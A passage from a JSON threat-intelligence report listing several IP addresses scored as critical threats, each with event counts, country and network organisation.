        "org": "Alsycon B.V."
      },
      {
        "ip": "176.32.193.16",
        "threat_score": 99.7,
        "threat_level": "critical",
        "total_events": 99,
        "country": "Armenia",
        "org": "Ucom CJSC"
      },
      {
        "ip": "81.29.142.100",
        "threat_score": 99.2,
        "threat_level": "critical",
        "total_events": 87,
        "country": "Russia",
        "org": "LLC Applied Computational Technologies"
      },
      {
        "ip": "160.119.76.200",
        "threat_score": 98.3,
        "threat_level": "critical",
        "total_events": 12,
        "country": "Seychelles",
        "org": "Alsycon B.V."
      },
      {
        "ip": "45.91.64.6",
        "threat_score": 98.3,
        "threat_level": "critical",
        "total_events": 84,
        "country": "Russia",
        "org": "JSC Buduschee"
      }
    ]
  }
}